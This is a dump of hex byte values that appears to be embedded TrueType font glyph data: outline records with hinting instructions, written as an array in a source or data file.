- 0x1,0x7,0x1,0x67,0x3b,0x6c,0xbe,0x51,0x36,0xa3,0x9d,0x4b,0xdf,0x1,0x1e,0x1,
- 0x97,0xfe,0x69,0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a,
- 0x1,0x66,0xfd,0xfc,0x1,0x65,0xfe,0x9c,0x2,0x39,0x24,0xa0,0x51,0x8c,0x1,0x2,
- 0x1,0x15,0x77,0xe3,0x1c,0x1e,0x58,0x30,0x3a,0x87,0xfe,0xc3,0x6a,0x2c,0x5c,0x3,
- 0x5e,0xfe,0x68,0xfe,0xe0,0xfe,0xe0,0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1,
- 0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe,0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3,
- 0x1,0x6d,0x0,0x0,0x4,0x0,0x44,0xff,0xf2,0x5,0xb2,0x5,0x63,0x0,0x10,0x0,
- 0x18,0x0,0x24,0x0,0x30,0x0,0x8f,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x9,0x8,0x2f,
- 0x3c,0xb5,0x11,0x18,0x10,0xf,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xb,0xa,0x8,
- 0x10,0xdd,0x3c,0xb1,0x22,0x1,0x10,0xc4,0xb2,0x1c,0x4,0x8,0x10,0xc4,0xc4,0xb7,
- 0x17,0x12,0xe,0xd,0x2,0x5,0xa,0xf,0x11,0x12,0x17,0x39,0xb2,0x6,0x8,0xa,
- 0x11,0x12,0x39,0xb5,0x2e,0x1c,0x28,0x22,0x14,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,
- 0x0,0xb4,0x0,0x10,0xa,0x9,0x3,0x17,0x2f,0x3c,0xb1,0x11,0x12,0x2f,0x3c,0xb1,
- 0x2,0x1,0x2f,0x3c,0xb3,0xf,0xe,0xd,0x12,0x10,0xdd,0x3c,0x3c,0xb2,0x18,0x17,
- 0x1,0x10,0xdd,0x3c,0xb3,0xb,0x8,0xd,0x9,0x11,0x12,0x39,0x39,0xb2,0x6,0x12,
- 0xd,0x11,0x12,0x39,0xb3,0x1f,0x0,0x19,0x1,0x3f,0x3f,0xb3,0x2b,0x1f,0x25,0x19,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x21,0x32,0x15,0x14,0x7,0x16,0x1d,0x1,
- 0x23,0x35,0x34,0x2b,0x1,0x21,0x19,0x1,0x33,0x32,0x35,0x34,0x26,0x23,0x21,0x13,
- 0x20,0x0,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x0,0x5,0x22,0x0,0x11,0x10,
- 0x0,0x33,0x32,0x0,0x11,0x10,0x0,0x1,0xc4,0x1,0x80,0xee,0x6b,0x60,0x66,0x72,
- 0x1d,0xfe,0xf8,0xfc,0xa6,0x32,0x55,0xfe,0xe5,0xd3,0x1,0x1e,0x1,0x97,0xfe,0x69,
- 0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a,0x1,0x66,0xfd,
- 0xfc,0x1,0x65,0xfe,0x9c,0x1,0x2c,0x3,0xb,0xe4,0xa6,0x24,0x21,0x75,0xc7,0xb3,
- 0x7d,0xfe,0xd0,0x1,0x8c,0x86,0x63,0x3a,0x1,0x88,0xfe,0x68,0xfe,0xe0,0xfe,0xe0,
- 0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1,0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe,
- 0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3,0x1,0x6d,0x0,0x1,0x0,0x0,0x1,
- 0x9a,0x2,0x38,0x3,0xd2,0x0,0xb,0x0,0x14,0xb0,0x9,0x2f,0xb1,0x3,0x9,0x10,
- 0xcd,0x0,0xb1,0x0,0x2,0x3f,0xb1,0x6,0x0,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,
- 0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,0x1,0x1e,0x75,0xa5,0xa6,0x74,0x76,
- 0xa8,0xa7,0x3,0xd2,0xa7,0x75,0x75,0xa7,0xa7,0x75,0x76,0xa6,0x0,0x0,0x2,0x0,
- 0x0,0xff,0xcb,0x4,0x27,0x5,0x8b,0x0,0x3,0x0,0x7,0x0,0x51,0xb7,0x7,0x6,
- 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb3,
- 0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0,
- 0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xc,0x1,0x1,0x7,0x6,0x5,0x3,0x1,
- 0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb6,0x1,0x1,
- 0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x9,0x7,
- 0x2,0x14,0x2,0x13,0xfd,0xed,0xfd,0xec,0x2,0x14,0xfe,0xaf,0x1,0x51,0x1,0x51,
- 0x5,0x8b,0xfd,0x20,0xfd,0x20,0x2,0xe0,0x1,0xd0,0xfe,0x30,0xfe,0x31,0x1,0xcf,
- 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x55,0x0,0x3,0x0,0x6,0x0,
- 0x33,0xb6,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x0,0xb7,0x1,0x2,0x1,0x0,0x4,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,
- 0xcd,0x13,0xb1,0x0,0x3,0x2f,0x3c,0xb4,0x1,0x6,0x1,0x2,0x0,0x13,0x11,0x12,
- 0x39,0x13,0x31,0x30,0x31,0x1,0x33,0x1,0x25,0x21,0x1,0x2,0x24,0x96,0x2,0x27,
- 0xfb,0xe8,0x3,0x4d,0xfe,0x59,0x5,0x55,0xfa,0xab,0x82,0x4,0x28,0x0,0x1,0x0,
- 0x0,0x0,0xe6,0x3,0x78,0x4,0x75,0x0,0x13,0x0,0x70,0xb4,0x13,0x12,0xf,0xe,
- 0x3,0x17,0x2f,0x3c,0xb4,0x9,0x8,0x5,0x4,0x3,0x17,0x2f,0x3c,0x40,0xf,0x11,
- 0x10,0xd,0xc,0xb,0xa,0x7,0x6,0x3,0x2,0x1,0x0,0xc,0x4,0xe,0x11,0x12,
- 0x17,0x39,0x0,0xb4,0x10,0xf,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x0,0x13,0x4,
- 0x3,0x3,0x17,0x2f,0x3c,0xb5,0xe,0xd,0xa,0x9,0x3,0x7,0x10,0x17,0xdd,0x3c,
- 0xb5,0x12,0x11,0x6,0x5,0x3,0x3,0x10,0x17,0xdd,0x3c,0xb5,0x1,0xc,0xb,0x9,
- 0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb7,0x1,0x1,0x2,0x1,0x1,0x0,0x2,
- 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x37,0x17,0x7,0x21,
- 0x15,0x21,0x7,0x21,0x15,0x21,0x7,0x27,0x37,0x21,0x35,0x21,0x37,0x21,0x35,0x1,
- 0xea,0x70,0x62,0x5c,0x1,0x18,0xfe,0xae,0x5c,0x1,0xae,0xfe,0x18,0x72,0x61,0x5e,
- 0xfe,0xe5,0x1,0x55,0x5c,0xfe,0x4f,0x3,0x8e,0xe7,0x26,0xc1,0x7d,0xc1,0x7d,0xed,
- 0x26,0xc7,0x7d,0xc1,0x7d,0x0,0x1,0x0,0x0,0x0,0x0,0x5,0x55,0x6,0xa1,0x0,
- 0x14,0x0,0x62,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x14,0x14,
- 0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x5,0x4,0x3,0x2,
- 0x11,0x1,0x6,0x11,0x12,0x17,0x39,0x0,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x8,0x7,
- 0x2f,0x3c,0xb1,0x0,0x14,0x2f,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0xb2,0x2,
- 0x1,0x14,0x10,0xdd,0x3c,0x40,0xd,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,
- 0x9,0xa,0x5,0x3,0x11,0x12,0x17,0x39,0xb4,0x1,0x13,0x2,0x0,0x7,0x11,0x14,
- 0x12,0x39,0x14,0x31,0x30,0x1,0x15,0x21,0x1,0x23,0x3,0x23,0x35,0x21,0x13,0x16,
- 0x1f,0x2,0x33,0x36,0x3f,0x2,0x1b,0x1,0x5,0x55,0xfe,0x6c,0xfe,0x3e,0xab,0xac,
- 0xa8,0x1,0x1a,0x4f,0x9,0x15,0x18,0x7,0xa,0x7,0x2,0x20,0x34,0x5b,0xe1,0x6,
- 0xa1,0x82,0xf9,0xe1,0x2,0x69,0x82,0xfe,0xf2,0x1e,0x65,0x77,0x20,0x22,0x8,0x87,
- 0xd8,0x1,0x3c,0x3,0x19,0x0,0x1,0x0,0x0,0xfe,0x2,0x2,0x6a,0x6,0x0,0x0,
- 0x17,0x0,0x63,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x13,0x12,0x6,0x10,0xdd,0x3c,0xb2,
- 0x1,0x0,0x6,0x10,0xc0,0xc0,0xb2,0xd,0xc,0x12,0x10,0xc0,0xc0,0x0,0xb4,0x1,
- 0x16,0x0,0x3,0x0,0x13,0x10,0xc0,0xc4,0x13,0xb5,0x1,0xd,0xc,0xa,0x1,0x0,
- 0x13,0x10,0xc4,0xc0,0xc0,0x13,0x40,0xa,0x1,0x1,0x13,0x6,0x1,0x3,0x0,0x0,
- 0x3,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x12,0x7,0x1,
- 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0xb3,0xf,0xa,0x3,0x16,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x11,0x37,0x16,0x33,0x32,0x36,0x35,0x11,0x34,0x36,
- 0x33,0x32,0x17,0x7,0x26,0x23,0x22,0x15,0x7,0x11,0x14,0x6,0x23,0x22,0x20,0x33,
- 0x27,0x4b,0x2a,0x60,0x95,0x38,0x4e,0x20,0x33,0x26,0x75,0x1,0x67,0xa2,0x3d,0xfe,
- 0x16,0x7c,0xe,0x55,0x9a,0x5,0x1,0xf0,0x9c,0x17,0x7c,0x11,0xca,0x64,0xfb,0x3c,
- 0xf1,0x99,0x0,0x0,0x2,0x0,0x0,0x1,0x78,0x3,0xd8,0x3,0xea,0x0,0x12,0x0,
- 0x25,0x0,0x59,0xb7,0x1d,0x1c,0x14,0x13,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x14,0x1f,0x16,0xc,0x1,0x1,0x1f,0x1d,0x1c,0x16,
- 0x14,0x13,0xc,0xa,0x1,0x0,0xa,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,
- 0x39,0x13,0x14,0x2f,0x2f,0x2f,0xb6,0x1,0x1,0x9,0x1,0x0,0x2,0x0,0x13,0x11,
- 0x14,0x12,0x39,0x13,0x14,0xb1,0x3,0x2,0x3f,0xb7,0x24,0x16,0x1a,0x1f,0x11,0x3,
- 0x7,0xc,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x27,0x36,0x33,
- 0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26,0x23,0x22,0x3,
- 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26,
- 0x23,0x22,0x54,0x54,0x6d,0xaa,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x73,0xab,0x4c,
- 0x62,0x76,0x55,0x36,0x65,0x52,0x54,0x6c,0xab,0x4d,0x99,0x8d,0x3d,0x65,0x56,0x56,
- 0x72,0xac,0x4b,0x63,0x76,0x55,0x35,0x67,0x2,0xc8,0x36,0xe8,0x4b,0x45,0x94,0x32,
- 0xe4,0x2f,0x38,0x29,0xfe,0x14,0x36,0xe8,0x4b,0x45,0x94,0x33,0xe3,0x2f,0x38,0x29,
- 0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3,0x77,0x4,0x8b,0x0,0x6,0x0,0x3f,0xb1,
- 0x6,0x5,0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb2,0x2,0x1,
- 0x5,0x11,0x12,0x39,0x0,0x40,0xc,0x1,0x1,0x6,0x5,0x4,0x3,0x2,0x5,0x2,
- 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x1,0x0,
- 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x15,
- 0x9,0x1,0x15,0x1,0x35,0x3,0x77,0xfd,0x1f,0x2,0xe1,0xfc,0x89,0x4,0x8b,0x8c,
- 0xfe,0xb2,0xfe,0xb1,0x8b,0x1,0x9d,0x7a,0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3,
- 0x77,0x4,0x8a,0x0,0x6,0x0,0x3f,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,
- 0xb1,0x6,0x5,0x2f,0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0x40,0xc,0x1,
- 0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,
- 0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,
- 0x39,0x39,0x13,0x14,0x31,0x30,0x3d,0x1,0x9,0x1,0x35,0x1,0x15,0x2,0xe1,0xfd,
- 0x1f,0x3,0x77,0xd7,0x8c,0x1,0x4e,0x1,0x4e,0x8b,0xfe,0x63,0x7a,0x0,0x2,0x0,
- 0x0,0x0,0x81,0x3,0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb1,0x6,0x5,
- 0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,
- 0xb1,0x7,0x8,0x2f,0x3c,0xb2,0x2,0x1,0x5,0x11,0x12,0x39,0x0,0xb1,0x9,0x8,
- 0x2f,0x3c,0xb2,0x7,0xa,0x8,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x4,
- 0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,
- 0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,
- 0x31,0x30,0x1,0x15,0x9,0x1,0x15,0x1,0x35,0x1,0x15,0x21,0x35,0x3,0x77,0xfd,
- 0x1f,0x2,0xe1,0xfc,0x89,0x3,0x77,0xfc,0x89,0x4,0xd7,0x86,0xfe,0xba,0xfe,0xbb,
- 0x86,0x1,0x8c,0x7b,0xfd,0xbc,0x82,0x82,0x0,0x0,0x2,0x0,0x0,0x0,0x81,0x3,
- 0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,
- 0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0x7,0x8,0x2f,0x3c,0xb1,0xa,0x9,0x2f,
- 0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0xb1,0x7,0xa,0x2f,0x3c,0xb2,0x9,
- 0x8,0xa,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2,
- 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3,
- 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x11,0x35,
- 0x9,0x1,0x35,0x1,0x15,0x1,0x35,0x21,0x15,0x2,0xe1,0xfd,0x1f,0x3,0x77,0xfc,
- 0x89,0x3,0x77,0x1,0x40,0x86,0x1,0x46,0x1,0x45,0x86,0xfe,0x6f,0x7a,0xfd,0xb5,
- 0x82,0x82,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x3,0x77,0x2,0x22,0x0,0x5,0x0,
- 0x25,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x5,0x4,0x2f,0x3c,0xb2,0x0,0x1,0x4,0x10,
- 0xdd,0x3c,0x0,0xb1,0x0,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3,
- 0x1,0x10,0xdd,0x3c,0x31,0x30,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xeb,0xfd,0x15,
- 0x3,0x77,0x1,0xa0,0x82,0xfd,0xde,0x0,0x3,0x0,0x0,0x1,0x80,0x5,0xa,0x3,
- 0xf2,0x0,0x10,0x0,0x18,0x0,0x20,0x0,0x5b,0xb5,0x19,0x11,0xd,0x9,0x4,0x0,
- 0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0xb3,0x1d,0x4,0x15,0xd,0x10,0xcd,0x10,0xcd,0x0,
- 0x40,0xf,0xf,0x2,0x1,0x1,0x19,0x11,0xf,0x9,0x2,0x0,0x6,0x2,0x0,0x0,
- 0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0x40,0xa,0xb,0x7,0x1,
- 0x1,0xb,0x7,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f,
- 0x2f,0xb7,0x1f,0x2,0x1b,0x7,0x17,0xb,0x13,0xf,0x10,0xcd,0x10,0xcd,0x10,0xcd,
- 0x10,0xcd,0x31,0x30,0x1,0x6,0x23,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x36,0x33,
- 0x20,0x11,0x10,0x21,0x22,0x3,0x16,0x33,0x32,0x35,0x34,0x23,0x22,0x5,0x26,0x23,
- 0x22,0x15,0x14,0x33,0x32,0x2,0x88,0x99,0xb9,0xfe,0xca,0xae,0x89,0xb8,0x93,0x94,
- 0xc0,0x1,0x34,0xfe,0xce,0xbe,0x4f,0x7e,0x83,0xb9,0xbb,0x7f,0xfe,0xf3,0x7b,0x85,
- 0xb9,0xbb,0x7f,0x2,0x5b,0xda,0x1,0x39,0x89,0xaf,0xda,0xda,0xfe,0xc6,0xfe,0xc8,
- 0x1,0x39,0xc5,0xc8,0xc2,0xc6,0xc6,0xc7,0xc2,0x0,0x1,0x0,0x0,0xfe,0x0,0x4,
- 0xfd,0x6,0x0,0x0,0x13,0x0,0x66,0xb4,0x0,0x13,0x10,0xf,0x3,0x17,0x2f,0x3c,
- 0xb1,0x12,0x11,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3,
- 0x17,0x2f,0x3c,0xb2,0xe,0xd,0xf,0x10,0xdd,0x3c,0xb2,0xa,0x9,0x3,0x10,0xdd,
- 0x3c,0xb2,0xc,0xb,0x11,0x10,0xdd,0x3c,0xb2,0x8,0x7,0x1,0x10,0xdd,0x3c,0x0,
- 0xb4,0xf,0xe,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xa,
- 0x11,0x10,0xd,0xc,0x9,0x8,0x5,0x4,0x7,0x6,0x10,0x17,0xdd,0x3c,0xb7,0x13,
- 0x12,0xb,0xa,0x3,0x2,0x5,0x1,0x10,0x17,0xdd,0x3c,0x31,0x30,0x11,0x21,0x15,
- 0x23,0x11,0x33,0x15,0x21,0x35,0x33,0x11,0x21,0x11,0x33,0x15,0x21,0x35,0x33,0x11,
- 0x23,0x4,0xfd,0xa3,0xa3,0xfe,0x29,0xa8,0xfd,0x60,0xa9,0xfe,0x29,0xa2,0xa2,0x6,
- 0x0,0x82,0xf9,0x4,0x82,0x82,0x6,0xfc,0xf9,0x4,0x82,0x82,0x6,0xfc,0x0,0x0,
- 0x1,0x0,0x0,0xfe,0x0,0x4,0x9e,0x6,0x0,0x0,0xf,0x0,0x70,0xb4,0xf,0xe,
- 0xc,0xb,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,
- 0x40,0xb,0xd,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x8,0x1,0xb,0x11,0x12,0x17,
- 0x39,0x0,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0xf,0x2f,0x3c,0xb2,0x9,0x8,0xa,
- 0x10,0xdd,0x3c,0xb2,0x7,0x6,0xa,0x10,0xdd,0x3c,0xb2,0x4,0x3,0xf,0x10,0xdd,
- 0x3c,0xb2,0x2,0x1,0xf,0x10,0xdd,0x3c,0xb2,0xc,0x8,0x6,0x11,0x12,0x39,0xb7,
- 0x1,0x1,0xd,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,
- 0xb4,0x1,0xe,0x3,0x1,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x11,0x23,
- 0x3,0x21,0x9,0x1,0x21,0x13,0x33,0x11,0x21,0x35,0x9,0x1,0x35,0x4,0x8b,0x80,
- 0xc,0xfc,0x9d,0x2,0x6,0xfd,0xfa,0x3,0x76,0x7,0x85,0xfb,0x62,0x1,0xfe,0xfe,
- 0x2,0x6,0x0,0xfe,0x30,0x1,0x4e,0xfc,0xad,0xfc,0x57,0x1,0x4e,0xfe,0x30,0x93,
- 0x3,0x98,0x3,0x47,0x8e,0x0,0x2,0x0,0x0,0xff,0xe9,0x3,0x7f,0x5,0x5d,0x0,
- 0x12,0x0,0x1e,0x0,0x50,0xb4,0xf,0xa,0x4,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,
- 0xb3,0x1c,0x4,0x16,0xa,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0x1,0x1,0x0,0x13,
- 0x10,0xc0,0x13,0x40,0x9,0xd,0x1,0x1,0xf,0xd,0x2,0x0,0x0,0x0,0x13,0x11,
- 0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,
- 0x11,0x14,0x12,0x39,0x13,0x14,0xb1,0x7,0x0,0x3f,0xb3,0x19,0x7,0x13,0xd,0x10,
- 0xcd,0x10,0xcd,0x31,0x30,0x13,0x37,0x4,0x0,0x11,0x14,0x2,0x23,0x22,0x0,0x35,
- 0x34,0x12,0x33,0x32,0x17,0x26,0x27,0x2,0x3,0x22,0x6,0x15,0x14,0x16,0x33,0x32,
- 0x36,0x35,0x34,0x26,0x71,0x13,0x1,0x6b,0x1,0x90,0xf6,0xc8,0xb8,0xfe,0xf7,0xf7,
- 0xae,0xbd,0x7b,0x9,0x4,0xa7,0x60,0x82,0xb4,0xb2,0x7c,0x80,0xab,0xa5,0x4,0xe0,
- 0x7d,0x33,0xfe,0x35,0xfe,0x93,0xe9,0xfe,0xe0,0x1,0x10,0xbe,0xba,0x1,0xa,0x9c,
- 0x16,0xb,0x1,0xa2,0xfe,0x6c,0xcc,0x93,0x8e,0xcb,0xcf,0x9b,0x91,0xbd,0x0,0x0,
- 0x1,0x0,0x0,0x2,0xf0,0x3,0x92,0x5,0x59,0x0,0x6,0x0,0x2f,0xb6,0x6,0x5,
- 0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x0,0x5,
- 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb6,0x1,0x1,0x6,0x1,
- 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x13,0x23,0x1,0x33,
- 0x1,0x23,0x1,0x98,0x98,0x1,0x6d,0xb8,0x1,0x6d,0x99,0xfe,0xce,0x2,0xf0,0x2,
- 0x69,0xfd,0x97,0x1,0xfa,0x0,0x1,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0,
- 0x3,0x0,0x1f,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0x0,
- 0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,
- 0x31,0x30,0x11,0x33,0x11,0x23,0x8c,0x8c,0x5,0x55,0xf9,0x56,0x0,0x0,0x1,0x0,
- 0x0,0xfe,0xf6,0x4,0x0,0xff,0x78,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c,
- 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,
- 0xdd,0x3c,0x31,0x30,0x15,0x21,0x15,0x21,0x4,0x0,0xfc,0x0,0x88,0x82,0x0,0x0,
- 0x1,0x0,0x0,0x0,0x0,0x4,0x28,0x3,0xd5,0x0,0xb,0x0,0x40,0xb1,0x3,0x2,
- 0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x5,0x4,0x2f,
- 0x3c,0xb2,0x9,0x8,0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c,0x0,
- 0xb4,0x0,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb7,0xa,
- 0x9,0x6,0x5,0x2,0x1,0x5,0x3,0x10,0x17,0xdd,0x3c,0x31,0x30,0x33,0x11,0x23,
- 0x35,0x21,0x15,0x23,0x11,0x23,0x11,0x21,0x11,0x98,0x98,0x4,0x28,0x96,0x8c,0xfe,
- 0x1e,0x3,0x53,0x82,0x82,0xfc,0xad,0x3,0x53,0xfc,0xad,0x0,0x1,0x0,0x0,0x4,
- 0xac,0x3,0xd8,0x5,0xce,0x0,0x12,0x0,0x38,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb5,0x1,0xa,0x9,0x3,0x1,0x0,0x13,0x10,0xc4,0xc0,0xc0,0x13,
- 0x40,0xb,0xc,0x1,0x1,0xc,0x1,0x0,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,
- 0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x11,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31,
- 0x30,0x13,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,
- 0x1,0x26,0x23,0x22,0x54,0x54,0x73,0xa4,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x72,
- 0xac,0x4b,0x63,0x76,0x55,0x36,0x64,0x4,0xac,0x36,0xe8,0x4a,0x45,0x93,0x33,0xe2,
- 0x2f,0x37,0x29,0x0,0x1,0x0,0x0,0xfe,0xaa,0x3,0x39,0x3,0xd7,0x0,0x11,0x0,
- 0x50,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb5,0x11,0x10,0x3,0x2,
- 0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xc,0xb,0x8,0x7,0x3,0x9,0x10,0x17,0xdd,
- 0x3c,0x0,0xb1,0x0,0x11,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb4,0x9,0x8,0x2,
- 0x1,0x3,0x17,0x2f,0x3c,0x40,0x9,0x1,0x10,0xc,0x7,0x3,0x4,0x2,0x0,0xa,
- 0x11,0x14,0x12,0x17,0x39,0x14,0xb1,0xe,0x0,0x3f,0xb1,0x5,0xe,0x10,0xcd,0x31,
- 0x30,0x19,0x1,0x33,0x11,0x10,0x21,0x20,0x19,0x1,0x33,0x11,0x23,0x35,0x6,0x23,
- 0x22,0x27,0x11,0x8c,0x1,0xc,0x1,0x15,0x8c,0x8c,0x5c,0xbc,0xa9,0x60,0xfe,0xaa,
- 0x5,0x2d,0xfd,0xd1,0xfe,0xab,0x1,0x68,0x2,0x1c,0xfc,0x29,0xb4,0xce,0x98,0xfe,
- 0x2c,0x0,0x1,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x76,0x0,0x1b,0x0,0x60,0xb2,
- 0x0,0x4,0x1,0x2f,0x3c,0x3c,0xb2,0xe,0xd,0xa,0x2f,0x3c,0x3c,0xb2,0x1b,0x1a,
- 0x1,0x10,0xdd,0x3c,0xb2,0x10,0xf,0xa,0x10,0xdd,0x3c,0xb2,0x2,0x1a,0x1,0x11,
- 0x12,0x39,0xb2,0xc,0xa,0xf,0x11,0x12,0x39,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd,
- 0x10,0xcd,0x0,0xb6,0x1,0xd,0xc,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,
